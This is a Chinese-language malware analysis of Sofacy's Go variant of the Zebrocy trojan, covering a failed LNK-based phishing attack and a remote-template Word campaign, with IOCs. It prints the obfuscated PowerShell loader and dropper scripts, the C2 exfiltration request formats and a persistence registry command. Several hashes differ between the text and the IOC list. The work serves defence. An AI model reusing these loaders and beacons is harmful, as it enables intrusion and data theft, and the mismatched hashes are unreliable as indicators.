导语:虽然你可能已经看过一些关于Zebrocy恶意软件的分析了,但迄今为止,Sofacy威胁组织仍在持续使用着Zebrocy四处散播着攻击。在10月底和11月初的攻击活动中我们发现,Zebrocy的开发人员再次使用了不同的编程语言——Go语言,来创建了一个新变
虽然你可能已经看过一些关于Zebrocy恶意软件的分析了,但迄今为止,Sofacy威胁组织仍在持续使用着Zebrocy四处散播着攻击。我们之前就曾在一篇博文中提到过Zebrocy工具,探讨了它在2018年第一季度的并行攻击活动,以及最近的几起攻击。在10月底和11月初的攻击活动中我们发现,Zebrocy的开发人员再次使用了不同的编程语言——Go语言,来创建了一个新变种的木马。使用不同的编程语言来创建一个功能类似的木马对Sofacy团伙来说并不是什么新鲜事,Zebrocy变种就曾用AutoIt、Delphi、VB、NET、 c#和Visual c++创建过。虽然我们当前还不能确定Sofacy用Go语言编写新木马的充分动机,但能有一点能够确认的是,此举是为了通过改变Zebrocy的结构使其更难以被检测。
我们在两起独立的攻击事件中发现了Zebrocy的Go变体。第一起攻击事件发生在10月11日,途径是一封带有LNK快捷附件的鱼叉式钓鱼电子邮件。LNK快捷方式用于运行一系列PowerShell脚本并从中提取要安装和执行的有效负载;但PowerShell脚本编码却是错误的,无法按照交付的方式安装或运行负载。因此,第一起攻击事件并不是成功的,但其目的、技术和指标还是值得探讨的。而在最近Sofacy的最新活动中,我们又发现了与发生在10月至11月中旬的Dear Joohn攻击行动中相同的Zebrocy的Go变体。
第一起攻击事件
这起攻击发生在2018年10月11日,攻击载体是一封鱼叉式钓鱼电子邮件,邮件内容是探讨美国的制裁对俄罗斯经济的影响。其中“发件人”地址和签名包含了攻击对象的个人姓名,而“收件人”字段却是为空的。这使我们相信,该邮件的“密件抄送”字段中包含了目标个人。图1显示了这次攻击中使用的电子邮件。
图1 Go Zebrocy攻击中使用的电子邮件
有效载荷
恶意文档ПротиводействиеДумыСанкциямСША.doc(SHA256:d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e)试图伪装成Word文档,但实际上该文件却是一个LNK快捷方式文件。打开时,LNK文件会在命令提示符中运行以下命令行:
powershell.exe -nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing('JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW9uYWwgY29uZmVyZW5jZSBhbmQgdHJhaW5pbmcgd29ya3Nob3Agb24gY29tbXVuaXR5IHBvbGljaW5nKDEpLmRvY3gubG5rJztpZigtbk9UKFRlU3QtcEF0SCAkcGF0aFRvTE5LKSl7JERpckQ9R2VULUNISUxkSVRFTSAtcEF0aCAkZW52OnRlbXAgLWZpTFRlciAkcGF0aFRvTE5LIC1yRWNVclNFO1tpTy5kaVJlY3RvUlldOjpzRVRDVXJyZW50RElyRWN0b1JZKCREaXJELmRJcmVDVE9SWU5BTWUpO30kRmlsZVN0cmVhbWE9bkV3LW9iakVDVCBpby5mSUxlU1RyZUFtICRwYXRoVG9MTkssJ09wZU4nLCdSZUFkJywncmVhRHdSSVRFJzskQXJyYXlNYXM9TkV3LW9iamVjVCBieVRFW10oJHAyKTskRmlsZVN0cmVhbWEuU0VlSygkcDEsW2lvLlNlRUtvUmlHaW5dOjpCRUdpbik7JEZpbGVTdHJlYW1hLnJFQUQoJEFycmF5TWFzLDAsJHAyKTskQXJyYXlNYXM9W0NvbnZlclRdOjpGck9tYmFzRTY0Q0hhckFyUkF5KCRBcnJheU1hcywwLCRBcnJheU1hcy5MZU5HVGgpOyRkdWFjYWp1QT1bdGV4VC5FbkNPZEluR106OlVuaWNvZGUuZ0VUc3RSSW5nKCRBcnJheU1hcyk7aWVYICRkdWFjYWp1QTs='));ieX $i853;
该快捷方式使用PowerShell对第二个PowerShell脚本进行base64解码并执行。第二个PowerShell脚本解码为以下内容:
$p1,$p2=3659,6924764;$pathToLNK='C5 regional conference and training workshop on community policing(1).docx.lnk';if(-nOT(TeSt-pAtH $pathToLNK)){$DirD=GeT-CHILdITEM -pAth $env:temp -fiLTer $pathToLNK -rEcUrSE;[iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,'OpeN','ReAd','reaDwRITE';$ArrayMas=NEw-objecT byTE[]($p2);$FileStreama.SEeK($p1,[io.SeEKoRiGin]::BEGin);$FileStreama.rEAD($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.LeNGTh);$duacajuA=[texT.EnCOdInG]::Unicode.gETstRIng($ArrayMas);ieX $duacajuA;
上面的PowerShell脚本会试图直接从LNK快捷文件中提取另一个PowerShell脚本并执行。由于未知的原因,创建这个LNK快捷方式的作者用错了LNK文件的文件名——C5 regional conference and training workshop on community policing(1).docx而不是交付文档中的ПротиводействиеДумыСанкциямСША.doc。LNK快捷方式文件名与电子邮件中提供的文件名不匹配,第二个PowerShell脚本将无法获得要安装在系统上的有效负载,因此这种攻击永远不会成功。其中,名为The C5 regional conference and training workshop on community policing(1).docx的LNK文件可能是攻击者之前使用过的文档,这次忘了对其更改。
如果攻击者在上面的脚本中使用了LNK正确的交付文件名,那么用于硬编码的“3659”偏移量(用于在LNK文件中寻找3659个字节)会将PowerShell脚本定位在LNK文件中。然后该脚本将读取硬编码的字节数并在该偏移量的6,924,764字节处执行。从LNK文件中获取的结果PowerShell脚本具有以下内容,为简洁起见,我们已修剪了一些编码数据并将其替换为“[..snip ..]”:
$6vlJwyyB = @('C5 regional conference and training workshop on community policing(1).exe','C5 regional conference and training workshop on community policing(1).docx');$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]);[syStEm.IO.fILE]::WrItEaLlbYtES($EnV:pUbLIc+"\"+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+"\"+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+"\"+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH;
最后一个PowerShell脚本通过解码名为C5 regional conference and training workshop on community policing(1).exe和C5 regional conference and training workshop on community policing(1).docx的可执行word文档将其写入到系统名为%PUBLIC%的文件夹中。写入Word文档的解码内容包含如图2所示的诱饵内容(SHA256:b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b),本例为2018年6月18日至20日在塔吉克斯坦杜尚举行的一次会议议程,由Saferworld和美国和平研究所主办。
图2:在安装Go Zebrocy期间打开的诱饵文档
解码后的可执行文件是用Go语言编写有效载荷(SHA256: fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e),这似乎是我们之前分析过的Zebrocy木马的变体。正如我们之前所看到的在AutoIt、Delphi和c++中创建了Zebrocy的变体一样,使用另一种语言开发与Zebrocy功能类似的木马似乎已经成了这个团体热衷的一件事。这种有效载荷和以前的Zebrocy变体具有通用的高级功能,在编写方式上也有一定重叠。与其他Zebrocy示例一样,在Go中编写的这个Zebrocy变体在受感染系统上执行初始收集,将此信息传输到C2服务器,并试图从C2下载、安装和执行有效负载。Go变体在功能上也有一些更具体的相似之处,包括:
· 使用ASCII十六进制混淆字符串
· 使用的卷序列号没有包含从VOL命令获得的连字符
· 在出站C2信标中使用“systeminfo”和“tasklist”的输出
· 在C2信标中使用字符串“PrgStart”
其中,Go变体和其他变体的之间最明显的重叠是使用了相同的C2 URL——hxxp://89.37.226 [.] 148 / technet-support / library / online-service-description.php?id_name =,
这个地址也用于曾用于Zebrocy的Delphi变种:de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71和daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593。
Go变体会试图通过检查其进程的可执行文件名中是否包含“)”字符的来逃避自动分析。如果文件名不包含“)”字符,则立即退出而不执行其功能代码。这也是C5 regional conference and training workshop on community policing(1).exe中包含“)”字符的原因之一。
另外,Go变体使用HTTP POST请求与其C2服务器进行交互,而收集的系统信息就包含在HTTP POST请求中,系统信息具体包括:
· 通过“tasklist”命令收集运行进程的信息。
· 通过“systeminfo”命令收集系统信息。
· 通过WMI命令“wmic logicaldisk get caption,description,drivetype,providername,size”收集本地磁盘信息。
· 通过使用开源Go库获取的桌面的屏幕截图。
Go变体与其C2之间的C2通信具有以下结构:
POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1 Host: 89.37.226[.]148 User-Agent: Go-http-client/1.1 Content-Length: 570690 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip attach=PrgStart%3A[path to running Trojan]%0D%0A%5B[current time]%5D%0D%0A%0D%0A[results from wmic logicaldisk get caption,description,drivetype,providername,size]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[results systeminfo command]%0D%0A%0D%0A%0D%0A[results tasklist command]%0D%0A&support=[screenshot of system represented as ascii hexadecimal bytes]
C2服务器将使用ascii十六进制字节响应此HTTP POST请求,有效负载将解码并保存到以下文件:
%APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe
然后,有效负载将使用Golang“os / exec”模块执行这个新创建的文件,用“Command”和“Run”函数来运行以下命令行:
cmd /C %APPDATA%\Identities\{83AF1378-986F-1673-091A-02681FA62C3B}\w32srv.exe
第二起攻击事件
我们之前就曾发表过关于Dear Joohn行动的分析,而此次观察到旨在传播Go Zebrocy变种的第二起攻击显然就与Dear Joohn行动有关。虽然Dear Joohn行动发生在2018年10月中旬至11月中旬,而用于传播的Go Zebrocy变种的文档(SHA256:346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10c9fa4f3747dfa0)却是在2018年12月3日创建。该恶意文档的作者名称为Joohn,与上一波攻击的作者名是一样的。
与Dear Joohn行动一样,交付文档通过HTTP下载远程模板(SHA256:07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305),这个模板同样使用了出现在Dear Joohn行动中的作者名:xxx。在打开恶意文档后会出现如图3所示的诱饵图片,它旨在诱使收件人点击“Enable Content”来运行包含在远程模板中的恶意宏。
图3 诱导用户点击“Enable Content”的诱饵图像
恶意文档会从地址:hxxps://bit[.]ly/2G8QrgL处下载远程模板,文档的word/_rels/settings.xml.rels文件中可以看到:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxps://bit[.]ly/2G8QrgL" TargetMode="External"/></Relationships>
hxxps://bit[.]ly/2G8QrgL短链接会重定向到一个托管远程模板hxxp://89.37.226[.]123/Templates/NormalOld.dotm的URL。而此前的Dear Joohn行动中并没有使用短网址来下载远程模板恶意文档的手段,这表明此行动中使用的技术发生了改变。并且值得注意的是,这个短链接的背后透露了有关访问者及其所处国家的信息。图4显示了短链接的统计数据,显示是在2018年12月3日下午12:56创建的,截止到2018年12月5日,一共被访问了75次,其中大部分访问来自土耳其。
图4 用于指向远程模板的短链接访问者的统计信息(访问时间:2018年12月5日)
通过该短链接下载的远程模板中包含一个出现在Dear Joohn行动中出现的、与之类似的恶意宏,但又有差异,此次的宏被用于从远程模板(SHA256:c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506)中提取一个ZIP文件 ,并将其保存到名为driver_pack.zip的文件中。这个ZIP压缩文件包含一个名为“driver_pack.exe”的可执行文件(SHA256:b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76),这是一个WinRAR SFX可执行文件,其中包含另一个名为comsvc.exe的可执行文件。 WinRAR SFX存档使用以下SFX脚本提取comsvc.exe有效内容:
Path=%APPDATA%\AppHistory Setup=comsvc.exe Silent=1 Overwrite=2
comsvc.exe可执行文件(SHA256:93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190fffa)是Go Zebrocy恶意软件(SHA256:15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7)的UPX压缩版本,它是一个下载器,负责从C2服务器获取和执行辅助有效负载。
与Zebrocy的其他变体一样,Go Zebrocy恶意软件检查运行进程的路径以确保它包含comsvc,能被交付文档执行,并最终将有效负载保存到comsvc.exe。如果Go Zebrocy变种没有以comsvc.exe的形式运行,它将发送一个HTTP POST请求到goolge[.]com,而不像其他的Zebrocy变种那样直接退出,我们认为这是一种进一步规避启发式检测的尝试。图5显示了发送到google[.]com的HTTP请求。
图5 使用不正确的文件名执行的Go Zebrocy发送到google.com的HTTP POST
图5中HTTP POST请求中发送的数据被解码为<#0>0<##0><#1>1<##1><#2>1<##2>,除了填充Go Zebrocy在与C2通信时使用的相同HTTP POST数据分隔符之外,它没有任何其他用途。在该样本作为comsvc.exe运行的情况,它将通过以下URL与C2服务器进行通信:
hxxp://89.37.226[.]123/advance/portable_version/service.php
Go Zebrocy工具将获得卷序列号,对系统进行屏幕截图,并使用Github上可用的合法库psutil收集系统特定信息。木马将从psutil库调用主机信息函数,该函数将有效收集平台信息(操作系统、版本等)、系统启动时间、系统正常运行时间、系统的GUID和运行进程的进程id。然后Zebrocy变体将发送一个HTTP POST请求到上述URL, POST数据结构如下:
project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[serial number of storage volume]%3C%23%230%3E%3C%231%3E[gathered system information]%3C%23%231%3E%3C%232%3E[screenshot in JPEG format]%3C%23%232%3E
HTTP POST数据中的十六进制字符用作分隔符,表示如下:
<#0>[serial number of storage volume]<##0><#1>[gathered system information]<##1><#2>[screenshot in JPEG format]<##2>
C2将使用十六进制编码的有效负载响应上述请求,Go Zebrocy会将它保存到系统并执行。Go Zebrocy将辅助有效载荷写入以下文件:
%LOCALAPPDATA%\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\wcncsvc.exe
在执行这个文件之前,Go Zebrocy将首先创建一个开机自启动注册表项,以便在每次用户使用以下命令行登录系统时,辅助有效载荷都能自动运行:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Media Center Extender Service
在我们的分析过程中,从C2下载的辅助有效负载是另一个用Go语言编写的木马(SHA256: 50d610226aa646dd3643fab350b482205aaa86f9dbd356c78a19204cc),它由攻击者装入UPX (SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a053ed60f30bd42bd142fdc) 。这个辅助负载是另一个使用HTTPS而不是HTTP进行C2通信的下载器。这个辅助负载作为它的C2与以下URL通信:
hxxps://190.97.167[.]186/pkg/image/do.php
通过HTTPS发送的HTTP POST请求如下图所示,它包含硬盘卷序列号的前四个字节和主机名的前四个字符,标记为“l”的字段,如图6所示。
图6辅助有效载荷在其HTTPS C2信道内发送的HTTP信标
结论
Sofacy组织仍在持续使用着Zebrocy四处散播着攻击,并通过不同的编码语言创造着新变种,Go语言就是此次尝试的新成果。然而,Sofacy攻击者此次在LNK快捷方式文件上似乎犯了一些严重错误,这使得这次攻击的结果未免显得有些荒谬。不过,无论攻击的最终结果是否成功,对技术细节的分析仍然有助于我们预测该组织未来的动向,因为可以肯定的是,Sofacy组织必然会在未来使用新的Zebrocy变种进行攻击。而这类攻击很大程度上得益于Zebrocy的易复制性和传播的方便性,就拿Go Zebrocy变种来说,它不仅能够通过LNK快捷方式文件,也能够通过Word文档进行传播。
IOC
Go Zebrocy变种:
fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e
93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa
Go Zebrocy C2:
hxxp://89.37.226[.]148/technet-support/library/online-service-description.php
89.37.226[.]148
hxxp://89.37.226[.]123/advance/portable_version/service.php
89.37.226[.]123
相关的Zebrocy样本:
de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71
daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593
308b41db9e3b332bb5b3e5ec633907761eac5082029b8b32e6b063b8c76b7365
f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b
1ff4e56419ad1814726ca143fc256cca4c8588605536c48dd79cfed12cb0763a
与Dear Joohn行动相关的散列值:
346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 – 恶意文档
07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 – 远程模板
c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 –远程模板中的ZIP文件
b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 –ZIP文件中的WinRAR SFX文件
93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa – Go Zebrocy 样本
50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc – 辅助payload
与Dear Joohn行动相关的URL:
hxxps://bit[.]ly/2G8QrgL – 远程模板短网址
hxxp://89.37.226[.]123/Templates/NormalOld.dotm – 远程模板URL
hxxp://89.37.226[.]123/advance/portable_version/service.php – Go Zebrocy HTTP C2
hxxps://190.97.167[.]186/pkg/image/do.php – 辅助payload HTTPS C2
辅助payload散列值:
50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc
辅助payload C2:
hxxps://190.97.167[.]186/pkg/image/do.php
190.97.167[.]186